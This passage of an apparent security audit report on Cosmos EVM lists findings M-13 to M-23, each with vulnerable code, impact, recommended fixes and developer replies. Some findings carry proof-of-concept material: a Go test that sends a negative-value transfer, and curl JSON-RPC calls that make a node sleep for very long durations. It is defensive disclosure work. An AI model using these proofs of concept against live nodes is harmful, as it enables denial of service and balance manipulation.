--- a/evm/x/vm/keeper/state_transition_test.go
+++ b/evm/x/vm/keeper/state_transition_test.go
@@ -646,6 +646,55 @@ func (suite *KeeperTestSuite) TestApplyMessage() {
    suite.Require().Equal(expectedGasUsed, res.GasUsed)
 }

+func (suite *KeeperTestSuite) TestApplyMessageWithNegativeAmount() {
+   suite.enableFeemarket = true
+   defer func() { suite.enableFeemarket = false }()
+   suite.SetupTest()
+
+   // Generate a transfer tx message
+   sender := suite.keyring.GetKey(0)
+   recipient := suite.keyring.GetAddr(1)
+   amt, _ := big.NewInt(0).SetString("-115792089237316195423570985008687907853269
 ↪  84665640564039457584007913129639935", 10)
+   transferArgs := types.EvmTxArgs{
+       To:     &recipient,
+       Amount: amt,
+   }
+   coreMsg, err := suite.factory.GenerateGethCoreMsg(
+       sender.Priv,
+       transferArgs,
+   )
+   suite.Require().NoError(err)
+
+   tracer := suite.network.App.EVMKeeper.Tracer(
+       suite.network.GetContext(),
+       *coreMsg,
+       types.GetEthChainConfig(),
+   )
+
+   ctx := suite.network.GetContext()
+   balance := suite.network.App.BankKeeper.GetBalance(ctx,
 ↪  suite.keyring.GetAccAddr(0), "aatom")
+   fmt.Println("Balance[0] before: ", balance)
```

```
+   balance = suite.network.App.BankKeeper.GetBalance(ctx,
 ↪  suite.keyring.GetAccAddr(1), "aatom")
+   fmt.Println("Balance[1] before: ", balance)
+   res, err := suite.network.App.EVMKeeper.ApplyMessage(
+       suite.network.GetContext(),
+       *coreMsg,
+       tracer,
+       true,
+   )
+   balance = suite.network.App.BankKeeper.GetBalance(ctx,
 ↪  suite.keyring.GetAccAddr(0), "aatom")
+   fmt.Println("Balance[0] after : ", balance)
+   balance = suite.network.App.BankKeeper.GetBalance(ctx,
 ↪  suite.keyring.GetAccAddr(1), "aatom")
+   fmt.Println("Balance[1] after : ", balance)
+
+   suite.Require().NoError(err)
+   suite.Require().False(res.Failed())
+
+   // Compare gas to a transfer tx gas
+   expectedGasUsed := params.TxGas
+   suite.Require().Equal(expectedGasUsed, res.GasUsed)
+}
+
 func (suite *KeeperTestSuite) TestApplyMessageWithConfig() {
    suite.enableFeemarket = true
    defer func() { suite.enableFeemarket = false }()
```

2. Run the test via `cd evm/x/vm/keeper; go test -tags=test -v -run "./TestApplyMessageWithNegativeAmount"` and observe the below output:

```
=== RUN   TestKeeperTestSuite
=== RUN   TestKeeperTestSuite/TestApplyMessageWithNegativeAmount
Balance[0] before:  100000000000000000000000aatom
Balance[1] before:  100000000000000000000000aatom
Balance[0] after :  999999999999999999999999aatom
Balance[1] after :  100000000000000000000001aatom
=== NAME  TestKeeperTestSuite
    suite.go:234: warning: no tests to run
--- PASS: TestKeeperTestSuite (0.13s)
    --- PASS: TestKeeperTestSuite/TestApplyMessageWithNegativeAmount (0.13s)
=== RUN   TestIterateContracts
--- PASS: TestIterateContracts (0.07s)
PASS
ok      github.com/cosmos/evm/x/vm/keeper       0.244s
```

This could be prevented by the Cosmos EVM `07_can_transfer` ante-handler, but it is not, because it explicitly checks only for positive message values:

```
>>  convertedValue, err := utils.Uint256FromBigInt(msg.Value)
    if err != nil {
        return err
    }
>>  if msg.Value.Sign() > 0 && !evm.Context.CanTransfer(stateDB, msg.From,
 ↪  convertedValue) {
        return errorsmod.Wrapf(
            errortypes.ErrInsufficientFunds,
            "failed to transfer %s from address %s using the EVM block context
             ↪  transfer function",
            msg.Value,
            msg.From,
        )
    }
```

The only place where this issue is prevented, is in the `06_account_verification` ante handler, namely via the call to the function CheckSenderBalance, which validates that the total transaction cost (fees + value) is non-negative, and that account has enough funds to cover it.

Impact

Invalid transactions are accepted and executed, thus breaking core EVM guarantees. Combined with other actions such silent underflows may lead to cascading issues and loss of funds.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/state_transition.go#L378-L392

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/ante/evm/07_can_transfer.go#L49-L60

Tool Used

Manual Review

Recommendation

Make sure that all cases of EVM transactions with negative values are explicitly rejected. The easiest way to do it seems to modify `Uint256FromBigInt` to explicitly reject negative values:

```
diff --git a/evm/utils/utils.go b/evm/utils/utils.go
index 2bcd0d2..220a62c 100644
--- a/evm/utils/utils.go
+++ b/evm/utils/utils.go
@@ -148,6 +148,9 @@ func SortSlice[T constraints.Ordered](slice []T) {
 }

 func Uint256FromBigInt(i *big.Int) (*uint256.Int, error) {
+   if i.Sign() < 0 {
+       return nil, fmt.Errorf("trying to convert negative *big.Int (%d) to
 ↪  uint256.Int", i)
+   }
    result, overflow := uint256.FromBig(i)
    if overflow {
        return nil, fmt.Errorf("overflow trying to convert *big.Int (%d) to
        ↪  uint256.Int (%s)", i, result)
```

Discussion

kuprumxyz

The fix is confirmed: `Uint256FromBigInt` errors out on negative integers as recommended.

Issue M-13: Approval event monitoring bypass

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/568

Summary

The `monitorApprovalEvent` function fails to verify that `Approval` events originate from the specific ERC20 token contract being converted.

Vulnerability Detail

In the `ConvertCoinNativeERC20` function, after executing the token transfer, the system calls `monitorApprovalEvent` to detect unexpected approval events. However, the current implementation only checks for the presence of `Approval` event signatures without validating that these events are emitted by the target token contract.

Impact

The function checks `log.Topics[0]` for the approval signature but doesn't verify `log.Address` to ensure the event comes from the correct token contract.

Code Snippet

evm.go#L137-L138

```
// monitorApprovalEvent returns an error if the given transactions logs include
// an unexpected `Approval` event
func (k Keeper) monitorApprovalEvent(res *evmtypes.MsgEthereumTxResponse) error {
    if res == nil || len(res.Logs) == 0 {
        return nil
    }

    logApprovalSig := []byte("Approval(address,address,uint256)")
    logApprovalSigHash := crypto.Keccak256Hash(logApprovalSig)

    for _, log := range res.Logs {
        if log.Topics[0] == logApprovalSigHash.Hex() {
            return errorsmod.Wrapf(
                types.ErrUnexpectedEvent, "unexpected Approval event",
            )
        }
    }

    return nil
```

```
}
```

Tool Used

Manual Review

Recommendation

Update the `monitorApprovalEvent` function signature and implementation to include contract address validation.

Discussion

vladjdk

Removing this check completely. It was originally made to prevent ”malicious” ERC20s from approving tokens upon the transfer call, but there are so many ways to get around this that the check is just redundant.

defsec

The issue is fixed with deleting approval check.

Issue M-14: Minting restrictions can be bypassed for IBC received ERC20 coins

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/570

Summary

When a native coin from a ERC20 token pair is received via IBC, the minting restriction for that token pair is not checked. In stark contract with conversions performed via direct Cosmos transactions, where this restriction is enforced, it can be bypassed completely by sending a native ERC20 coin via IBC to another chain and then back.

Vulnerability Detail

In evm/x/erc20/keeper/ibc_callbacks.go::OnRecvPacket we have:

```
>>  pairID := k.GetTokenPairID(ctx, coin.Denom)
    pair, found := k.GetTokenPair(ctx, pairID)
    switch {
    // Case 1. token pair is not registered and is a single hop IBC Coin

    // snip ...

    // Case 2. native ERC20 token
    case found && pair.IsNativeERC20():
        // Token pair is disabled -> return
        if !pair.Enabled {
            return ack
        }

        balance := k.bankKeeper.GetBalance(ctx, recipient, coin.Denom)
>>      if err := k.ConvertCoinNativeERC20(ctx, pair, balance.Amount,
 ↪  common.BytesToAddress(recipient.Bytes()), recipient); err != nil {
            return channeltypes.NewErrorAcknowledgement(err)
        }

        // For now the only case we are interested in adding telemetry is a
         ↪  successful conversion.
        telemetry.IncrCounterWithLabels(
            []string{types.ModuleName, "ibc", "on_recv", "total"},
            1,
            []metrics.Label{
                telemetry.NewLabel("denom", coin.Denom),
                telemetry.NewLabel("source_channel", packet.SourceChannel),
                telemetry.NewLabel("source_port", packet.SourcePort),
            },
```

```
        )
    }
```

As can be seen for native ERC20 token pair only the condition of the pair being enabled is checked. Contrary to that, in a direct Cosmos ConvertCoin Tx we have:

```
>>  pair, err := k.MintingEnabled(ctx, sender, receiver.Bytes(), msg.Coin.Denom)
    if err != nil {
        return nil, err
    }

    // Check ownership and execute conversion
    switch {
    case pair.IsNativeERC20():

        // snip

>>      return nil, k.ConvertCoinNativeERC20(ctx, pair, msg.Coin.Amount, receiver,
 ↪  sender)
```

Looking at MintingEnabled we see:

```
func (k Keeper) MintingEnabled(
    ctx sdk.Context,
    sender, receiver sdk.AccAddress,
    token string,
) (types.TokenPair, error) {
    if !k.IsERC20Enabled(ctx) {
        return types.TokenPair{}, errorsmod.Wrap(
            types.ErrERC20Disabled, "module is currently disabled by governance",
        )
    }

    id := k.GetTokenPairID(ctx, token)
    if len(id) == 0 {
        return types.TokenPair{}, errorsmod.Wrapf(
            types.ErrTokenPairNotFound, "token '%s' not registered by id", token,
        )
    }

    pair, found := k.GetTokenPair(ctx, id)
    if !found {
        return types.TokenPair{}, errorsmod.Wrapf(
            types.ErrTokenPairNotFound, "token '%s' not registered", token,
        )
    }

    if !pair.Enabled {
        return types.TokenPair{}, errorsmod.Wrapf(
```

```
            types.ErrERC20TokenPairDisabled, "minting token '%s' is not enabled by
            ↪  governance", token,
        )
    }

    if k.bankKeeper.BlockedAddr(receiver.Bytes()) {
        return types.TokenPair{}, errorsmod.Wrapf(
            errortypes.ErrUnauthorized, "%s is not allowed to receive
            ↪  transactions", receiver,
        )
    }

    // NOTE: ignore amount as only denom is checked on IsSendEnabledCoin
    coin := sdk.Coin{Denom: pair.Denom}

    // check if minting to a recipient address other than the sender is enabled
    // for for the given coin denom
>>  if !sender.Equals(receiver) && !k.bankKeeper.IsSendEnabledCoin(ctx, coin) {
        return types.TokenPair{}, errorsmod.Wrapf(
            banktypes.ErrSendDisabled, "minting '%s' coins to an external address is
            ↪  currently disabled", token,
        )
    }

    return pair, nil
}
```

Thus, the following check is executed for a direct transaction, but skipped for IBC-received coins:

- `if !sender.Equals(receiver) && !k.bankKeeper.IsSendEnabledCoin(ctx, coin)`

It means this check can be bypassed by first sending a coin from the native ERC20 token pair to some other chain from account A, and then sending it back to account B: this is equivalent to converting native coin to ERC20 from A to B.

Though send-enabled restriction is checked when an ICS20 send transfer is made, if the send was performed before the coin became send-restricted, the receiving operation won't check send-enabledness, and it thus can be bypassed on the way back. I.e. the following scenario is possible:

- A native coin from an ERC20 token pair is send-enabled by default
- User sends coins via IBC from account A to another chain
- Governance sets send-enabledness for the coin to `false`
- User receives coins via IBC to account B, thus bypassing the restriction

Impact

Critical minting restriction (send-enabledness, which is set by governance) can be bypassed.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/ibc_callbacks.go#L106-L154

Tool Used

Manual Review

Recommendation

Make sure to always check minting restriction for coins received via IBC, i.e. either a) treat all IBC transfers as coming to a different recipient address, or b) validate whether the sender address on the source chain is not the same as the recipient address on this chain, and then validate send-enabledness.

Discussion

kuprumxyz

The fix is confirmed: minting restriction is checked via `MintingEnabled`, the same way it's performed in the `ConvertCoin` Tx.

Issue M-15: Conversion errors on processing IBC acks / timeouts for native ERC20 coins break IBC packet lifecycle

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/574

Summary

When an error acknowledgement or a timeout ICS20 packet with a native ERC20 coin is received via IBC, the coin is refunded back to the sender, and in that process the coin is converted to ERC20. If any error happens during that process, the error is returned to the IBC stack, thus breaking the packet lifecycle: error acknowledgement / timeout are not committed, and the corresponding send packet remains in a pending state, thus forcing relayers to resubmit acks / timeouts.

Considering that a) ERC20 registration is permissionless, and b) ERC20 contracts can self-destroy, forcing the conversion process to fail, this allows an attacker to deterministically break IBC packet lifecycle.

Vulnerability Detail

In `evm/x/erc20/keeper/ibc_callbacks.go`, both OnAcknowledgementPacket and OnTimeoutPacket call ConvertCoinToERC20FromPacket:

```
func (k Keeper) ConvertCoinToERC20FromPacket(ctx sdk.Context, data
↪  transfertypes.FungibleTokenPacketData) error {
    // snip ...

    // Case 2. if pair is native ERC20 -> unescrow
    case pair.IsNativeERC20():

        // snip ...

        // Convert from Coin to ERC20
>>      if err := k.ConvertCoinNativeERC20(ctx, pair, coin.Amount,
↪  common.BytesToAddress(sender), sender); err != nil {
            // We want to record only the failed attempt to reconvert the coins
            ↪  during IBC.
            defer func() {
                telemetry.IncrCounter(1, types.ModuleName, "ibc", "error", "total")
            }()

>>          return err
        }
    }
```

```
    return nil
}
```

As can be seen, any error from `ConvertCoinNativeERC20` is returned, and propagated up the IBC stack, thus reverting the transaction. In particular, if the ERC20 contract self-destructed, the function will revert on an attempt to call transfer. Thus an attacker can deterministically force error acknowledgements / timeouts to fail.

Impact

IBC relayers operate by looking up uncleared (pending) IBC sends on the source chain, and then looking up error acks / timeouts on the destination chain. Accordingly, the revert described above leaves the IBC packet on the sending chain in the pending state, forcing relayers to resubmit error acks / timeouts.

As there are multiple competing relayers, and each relayer usually makes several resubmission attempts on failed transactions, exploiting this vulnerability will allow an attacker to drain relayers' funds.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/ibc_callbacks.go#L229-L236

Tool Used

Manual Review

Recommendation

When an error occurs during coin to ERC20 conversion, don't return an error up the stack: log it for later analysis, but return `nil` in order not to break IBC packet lifecycle.

Discussion

kuprumxyz

The fix is confirmed: `ConvertCoinToERC20FromPacket` emits an error event, and returns `nil`; thus the user will get bank coins, and the conversion error will be logged.

Issue M-16: Debug API sleep-based DoS attack

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/587

Summary

The debug API endpoints allow attackers to cause denial of service by forcing the node to sleep for arbitrary durations through RPC calls. Multiple debug methods accept an `nsec` parameter that directly controls sleep duration without any validation or limits.

Vulnerability Detail

The debug API implements several profiling methods that use `time.Sleep()` with user-controlled duration parameters. The vulnerable methods include:

1. `debug_blockProfile` - Sets block profiling rate and sleeps for specified seconds
2. `debug_cpuProfile` - Starts CPU profiling and sleeps for specified seconds
3. `debug_goTrace` - Starts Go execution tracing and sleeps for specified seconds
4. `debug_mutexProfile` - Sets mutex profiling and sleeps for specified seconds

Each method accepts an `nsec uint` parameter that is directly passed to `time.Sleep(time.Duration(nsec) * time.Second)` without any validation. An attacker can specify extremely large values (up to `uint` maximum) to cause the node to sleep for hours, days, or even years.

```
curl -X POST http://127.0.0.1:8545 \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "debug_blockProfile",
    "params": ["/tmp/profile", 3600],
    "id": 1
  }'

curl -X POST http://127.0.0.1:8545 \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "debug_cpuProfile",
    "params": ["/tmp/profile", 4294967295],
    "id": 1
  }'
```

Impact

Multiple concurrent sleep calls can consume all available RPC handler threads, preventing any legitimate requests from being processed.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/namespaces/ethereum/debug/api.go#L110-L111

Tool Used

Manual Review

Recommendation

Consider implementing maximum duration limits.

Discussion

aljo242

Production nodes should not be using the debug namespace and it is already an optional part of a node being configured. Even if we were to add limits to the debug duration this could be performed by just spamming a bunch of shorter debug calls. But again, this should not be used in a production setting or exposed externally, so any node downtime would be user error during debug

defsec

Thank you for the response, normally debug namespace has been used for debug_TraceTransaction on the nodes. But we can mark as an acknowledged.

vladjdk

@defsec we added a flag here: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/576. That PR should fix this issue as well. Please confirm if this is the case.

defsec

Thank you so much, with that fix, we can mark as a fixed due to profiling is managed by the flag.

Issue M-17: Unneeded gas estimation for internal EVM calls substantially slows down transactions

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/588

Summary

For some kinds of Cosmos-native transactions (such as `ConvertERC20` / `ConvertCoin` of the `ERC20` module) internal EVM calls are performed. These contain an unnecessary call to `EstimateGasInternal` which **executes the same call 25 times**, thus wasting substantial computing resources. In extreme circumstances this may lead to substantially slowing down block production, or even halting the chain.

Vulnerability Detail

A number of Cosmos native transactions, notably ConvertERC20 and ConvertCoin, perform internal EVM calls via CallEVM / CallEVMWithData, while also committing changes to StateDB. The latter function calls EstimateGasInternal in order to exactly compute the gas needed:

```
func (k Keeper) CallEVMWithData(
    // snip ...

>>  gasCap := config.DefaultGasCap   // @audit 25M gas
    if commit {
        // snip ...

>>      gasRes, err := k.EstimateGasInternal(ctx, &types.EthCallRequest{
            Args:   args,
            GasCap: config.DefaultGasCap,
        }, types.Internal)
        if err != nil {
            return nil, err
        }
>>      gasCap = gasRes.Gas
    }

    msg := core.Message{
        From:       from,
        To:         contract,
        Nonce:      nonce,
        Value:      big.NewInt(0),
>>      GasLimit:   gasCap,
        GasPrice:   big.NewInt(0),
        GasTipCap:  big.NewInt(0),
```

```
        GasFeeCap:  big.NewInt(0),
        Data:       data,
        AccessList: ethtypes.AccessList{},
    }


>>  res, err := k.ApplyMessage(ctx, msg, nil, commit)
    // snip ...
}
```

Function EstimateGasInternal performs a binary search over `lo` / `hi` gas parameters, using as the initial `hi` value **25M gas**, executing the call each time. As a result, every call that is performed via `CallEVM`, is executed **additionally 25 times**, with the only purpose to arrive at the gas estimate with which the call will be finally performed via `ApplyMessage`.

Impact

Every internal EVM call which involves commits to StateDB is executed 26 times instead of just once. This substantially slows down Cosmos EVM, wastes computing resources, and in extreme circumstances this may lead to substantially slowing down block production up to halting the chain completely.

Tool Used

Manual Review; `go test`.

Recommendation

Remove the call to `EstimateGasInternal` from `CallEVMWithData`: it doesn't make sense to execute the call 26 times when a single execution is sufficient.

Discussion

kuprumxyz

The fix is confirmed: call to `EstimateGasInternal` is removed from `CallEVMWithData`.

Issue M-18: Missing transaction replacement fee bump

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/591

Summary

The `Resend` function, located in `call_tx.go`, is responsible for handling the replacement of pending transactions. While it performs a check to ensure the new transaction's fee is ”reasonable” using `rpctypes.CheckTxFee`, it omits a comparison between the new transaction's gas price and the original transaction's gas price to ensure a minimum fee increase.

Vulnerability Detail

In canonical Ethereum implementations, a replacement transaction must offer a significantly higher gas price (typically 10-12.5% more) than the original transaction to be accepted into the mempool. This ”fee bump” mechanism is crucial for preventing malicious actors from manipulating the transaction queue without incurring a cost.

Go Ethereum Implementation :

https://github.com/ethereum/go-ethereum/blob/82c2c8191fa655600b8a3faa61a3cf87070055a4/core/txpool/legacypool/list.go#L311-L312

Impact

Without this minimum fee bump, an attacker can submit a transaction with a low gas price, and then, if they wish to replace it (e.g., to front-run another transaction or to censor it), they can submit a new transaction with the same nonce but only a marginally higher (or even the same) gas price.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/backend/call_tx.go#L29-L30

Tool Used

Manual Review

Recommendation

Implement a minimum fee bump requirement for transaction replacement, similar to the canonical Go-Ethereum implementation. This typically involves a 10-12.5% increase in gas price over the original transaction.

Discussion

Eric-Warehime

We acknowledge that there is a feature gap here. We intend to address this in the future as part of a larger work stream around parity with the Ethereum txpool.

defsec

Acknowledged.

Issue M-19: `block.gaslimit` returns 0 in smart contract execution context

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/595

Summary

The smart contract returns `block.gaslimit` as `0`, which does not reflect the actual block gas limit. This can mislead developers relying on block metadata within contract logic.

Vulnerability Detail

When calling the `getBlockInfo()` function, the `block.gaslimit` field consistently returns `0`. A block should always have a defined gas limit, and a return value of `0` is invalid in typical EVM behavior.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract TestContract {

    // Block and transaction info
    function getBlockInfo() public view returns (
        uint256 blockNumber,
        uint256 blockTimestamp,
        bytes32 blockHash,
        uint256 gasLimit,
        address coinbase
    ) {
        blockNumber = block.number;
        blockTimestamp = block.timestamp;
        blockHash = blockhash(block.number - 1);
        gasLimit = block.gaslimit;
        coinbase = block.coinbase;
    }

}
```

```
0: uint256: blockNumber 64637
1: uint256: blockTimestamp 1750002541
2: bytes32: blockHash
↪  0x0000000000000000000000000000000000000000000000000000000000000000
3: uint256: gasLimit 0
4: address: coinbase 0x77303577617676656a677235707347879727l6c
```

Impact

Any contract logic or off-chain process relying on `block.gaslimit` will behave incorrectly, potentially resulting in inaccurate gas calculations, failed assertions, or mispriced fee estimations.

Code Snippet

Tool Used

Manual Review

Recommendation

Ensure the EVM implementation correctly maps the `block.gaslimit` opcode to the actual block gas limit set by the consensus layer. If this is a configuration issue, update the node software to correctly populate this field. If unsupported by design, document it clearly and consider a fallback method for obtaining gas limit on-chain.

Discussion

gjaldon

The block gaslimit is based on the Consensus Params. I think you are getting zero because the test environment's `consensusParams.Block.MaxGas` is 0.

defsec

Yeah I was thinking about that but :
https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/types/utils.go allowbreak #L101-L102 - here Its set to : 4294967295

gjaldon

That only happens when `resConsParams.ConsensusParams.Block.MaxGas` is `-1`.

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/types/utils.go allowbreak #L96-L97

defsec

Actually It doesn't matter, already Its set to :
https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/local_node.sh allowbreak #L149 on test node, according to Genesis file, It should not be zero.

defsec

The fix is confirmed : https://github.com/cosmos/evm-internal/pull/36

Issue M-20: WebSocket origin bypass

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/598

Summary

The WebSocket server implementation in `/evm/rpc/websockets.go` contains an issue where the `websocket.Upgrader` is configured with a permissive `CheckOrigin` function that unconditionally returns `true`, allowing WebSocket connections from any origin.

Vulnerability Detail

The vulnerability exists in the `ServeHTTP` method of the `websocketsServer` struct, where the WebSocket upgrader is instantiated with a dangerous origin validation function:

```
func (s *websocketsServer) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    upgrader := websocket.Upgrader{
        CheckOrigin: func(_ *http.Request) bool {
            return true
        },
    }

    conn, err := upgrader.Upgrade(w, r, nil)
    if err != nil {
        s.logger.Debug("websocket upgrade failed", "error", err.Error())
        return
    }

    s.readLoop(&wsConn{
        mux:  new(sync.Mutex),
        conn: conn,
    })
}
```

The `CheckOrigin` function is designed to validate the `Origin` header of incoming WebSocket upgrade requests to prevent cross-origin attacks.

Impact

Malicious websites can establish WebSocket connections to the EVM node from any origin, bypassing browser security policies.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/websockets.go#L116

Tool Used

Manual Review

Recommendation

Replace the permissive `CheckOrigin` function with proper validation.

Discussion

defsec

Fix is confirmed.

Issue M-21: Wrong check for preventing stuck funds in IBC transfers between EVM and non-EVM chains

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/600

Summary

The `OnRecvPacket` callback is supposed to error out when the sender address matches the recipient address and the IBC message is from a non-EVM chain. However, it does not because it checks if the destination is a non-EVM channel instead of the source.

Vulnerability Detail

The destination channel is checked to see if it's a non-EVM channel, rather than the sender channel.

```
if sender.Equals(recipient) && !evmParams.IsEVMChannel(packet.DestinationChannel) {
    return channeltypes.NewErrorAcknowledgement(types.ErrInvalidIBC)
}
```

Impact

The measure to prevent stuck funds when doing IBC transfers between a non-EVM chain and an EVM chain is ineffective.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/x/erc20/keeper/ibc_callbacks.go#L65-L74

Tool Used

Manual Review

Recommendation

Consider correcting the check to apply on the source channel instead.

```
if sender.Equals(recipient) && !evmParams.IsEVMChannel(packet.SourceChannel) {
    return channeltypes.NewErrorAcknowledgement(types.ErrInvalidIBC)
}
```

Discussion

gjaldon

The feature to prevent stuck funds is removed and is no longer an issue.

Issue M-22: Silent failure when calling `unjail()` pre-compile with non-jailed validator

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/601

Summary

The unjail(address) function exposed by the Slashing precompile at 0x000...0806 fails silently when invoked with a non-jailed validator address. The transaction reverts (status: 0x0) but does not return any error message or revert reason, making it difficult to programmatically handle or debug the failure.

Vulnerability Detail

The Slashing precompiled contract deployed at address 0x0000000000000000000000000000000000000806 exposes an unjail(address) function meant to allow jailed validators to remove their jail status. However, when calling unjail() with a validator address that is not currently jailed, the transaction fails and reverts without returning any error message or revert reason.

Example Solidity Contract :

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

    interface ISlashing {
        function unjail(address validatorAddress) external returns (bool);
    }

contract UnjailPrecompileErrorPoC {

    ISlashing constant slashing =
    ↪  ISlashing(0x0000000000000000000000000000000000000806);

    event TestResult(string message, bool success);

    function demonstrate() public {
        address nonJailedValidator = 0x1234567890123456789012345678901234567890;

        // This will either return true or revert, depending on validator's state
        try slashing.unjail(nonJailedValidator) returns (bool success) {
            emit TestResult("Unjail call succeeded", success);
        } catch Error(string memory reason) {
            emit TestResult(reason, false);
        } catch (bytes memory lowLevelData) {
            emit TestResult("Low-level error", false);
```

```
        }
    }
}
```

Impact

Lack of structured revert information breaks smart contract-level error handling.

Tool Used

Manual Review

Recommendation

Implement error handling within the precompile to return a clear Error(string) revert message.

Discussion

cloudgray

Root cause of this issue is because precompile does not return revert reason and `ErrExecutionReverted` error as geth opCall does. ref: https://github.com/cosmos/evm/issues/223

I'm fixing this issue: PR #224

cloudgray

@defsec resolved via PR #224 I added test case you mentioned. [slashing/test_integration.go] Could you check this PR?

defsec

Sure, will check and get back to you!

defsec

Fix is tested and looks good.

Issue M-23: ERC20 address collisions between dynamic precompiles from IBC transfers and native ERC20s

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/602

Summary

In Cosmos EVM, ERC20 addresses may be of two kinds: native ERC20 addresses, and ERC20 addresses generated from the IBC token denoms. The latter is obtained by truncating to 160 bits the 256-bit IBC denom, which is obtained from applying the SHA-256 hash function. A collision between these two kinds of addresses may be found relatively cheaply via the birthday paradox / parallel distinguished points search method. The attack is further simplified because ERC20 addresses generated from IBC denoms are employed for precompiles, and thus a) don't need to have an EOA, or a CREATE2 derivation, and b) obtained from SHA-256, and thus especially cheap to generate.

The resulting address collisions lead to corrupted internal state in Cosmos EVM, which in turn leads to wrong balance accounting, and potentially other severe impacts.

Vulnerability Detail

The root cause of the issue is that x/erc20/keeper/token_pairs.go::GetTokenPairID allows to arrive to a token pair ID via two independent ways:

```
// GetTokenPairID returns the pair id for the specified token. Hex address or Denom
↪  can be used as token argument.
// If the token is not registered empty bytes are returned.
func (k Keeper) GetTokenPairID(ctx sdk.Context, token string) []byte {
    if common.IsHexAddress(token) {
        addr := common.HexToAddress(token)
        return k.GetERC20Map(ctx, addr)
    }
    return k.GetDenomMap(ctx, token)
}
```

As can be seen, if an address (such as native ERC20 address) is supplied as an argument, the pair id is retrieved via `GetERC20Map`, but if a token is supplied as an argument, then the pair id is retrieved via `GetDenomMap`. While convenient, this results in the absence of a single check that the pairs thus retrieved don't collide in their ERC20 addresses. As demonstrated below, this may indeed happen via first registering a native ERC20 contract, and then registering a dynamic precompile for a token received via IBC transfer. It should be noted that even a collision between ERC20 addresses from two

different IBC denoms would be possible, if not the check that no duplicates exist in the dynamic precompiles.

Wrt. the possibility of finding birthday-paradox-style collisions between two independently produced addresses, a vast body of previous literature exists:

- EIP-3607: Reject transactions from senders with deployed code, and the article serving as a foundation of it, Full Cost of PublicKey-Contract Collision Attack
- Finding #90 Router.sol is vulnerable to address collission from KyberSwap contest on Sherlock (Jul 2023)
- Finding #111 The pool verification in NapierRouter is prone to collision attacks from Napier contest on Sherlock (Jan 2024)
- Finding #64 An attacker can exploit LSUrn address collisions using create2 for complete control of Maker protocol from MakerDAO contest on Sherlock (Jun 2024). The detailed data on the attack execution via parallel search with ASICs and its associated cost was enough to guarantee deletion of this finding; some recollection of it from the finding author can be found in this X post.

The `CREATE2` part is the same as in the above literature: native ERC20 addresses can be enumerated by enumerating salts. Finding collisions for this particular vulnerability is greatly simplified by the fact that ERC20 precompile addresses are generated from IBC denoms by a simple truncation of an SHA-256 hash; the latter obtained effectively from an arbitrary input. For the truncation part please see evm/utils/utils.go::GetIBCDenomAddress:

```
func GetIBCDenomAddress(denom string) (common.Address, error) {
    if !strings.HasPrefix(denom, "ibc/") {
        return common.Address{},
        ↪  ibctransfertypes.ErrInvalidDenomForTransfer.Wrapf("coin %s does not have
        ↪  'ibc/' prefix", denom)
    }

    if len(denom) < 5 || strings.TrimSpace(denom[4:]) == "" {
        return common.Address{},
        ↪  ibctransfertypes.ErrInvalidDenomForTransfer.Wrapf("coin %s is not a
        ↪  valid IBC voucher hash", denom)
    }

    // Get the address from the hash of the ICS20's Denom Path
>>  bz, err := ibctransfertypes.ParseHexHash(denom[4:])
    if err != nil {
        return common.Address{},
        ↪  ibctransfertypes.ErrInvalidDenomForTransfer.Wrap(err.Error())
    }

>>  return common.BytesToAddress(bz), nil
}
```

with `BytesToAddress` being

```
// BytesToAddress returns Address with value b.
// If b is larger than len(h), b will be cropped from the left.
func BytesToAddress(b []byte) Address {
    var a Address
    a.SetBytes(b)
    return a
}
```

